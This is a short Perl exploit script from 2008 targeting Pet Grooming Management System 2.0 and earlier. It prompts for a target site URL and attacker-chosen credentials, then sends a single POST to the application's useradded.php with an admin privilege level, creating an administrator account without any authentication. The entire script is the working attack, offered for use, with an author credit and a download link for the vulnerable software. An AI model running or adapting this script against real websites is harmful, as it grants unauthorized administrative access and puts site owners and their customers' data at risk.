#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-n";
print "-+-  Discovered && Coded By: t0pP8uZz  -  Discovered On: 15 MAY 2008  -+-n";
print "-+-  Script Download: http://sourceforge.net/projects/petgroom/       -+-n";
print "-+- Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit -+-n";

print "nEnter URL(http://site.com/pet/): ";
	chomp(my $url=<STDIN>);
	
print "nEnter Username(create your admin username): ";
	chomp(my $user=<STDIN>);
	
print "nEnter Password(create your admin password): ";
	chomp(my $pass=<STDIN>);

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $ob = $ua->post($url."/useradded.php", { "name" => "admin", "user" => $user, "pwd" => $pass, "level" => 1, "centerstatus" => "a" } );

if($ob->is_success && index($ob->content, 10) != -1) {
	print "nnUser Added Successfully! Login to: $urln";
} else { print "nnUser was not added. Username may be in use, or site isnt running PGMS.n"; }

# www.Syue.com [2008-05-15]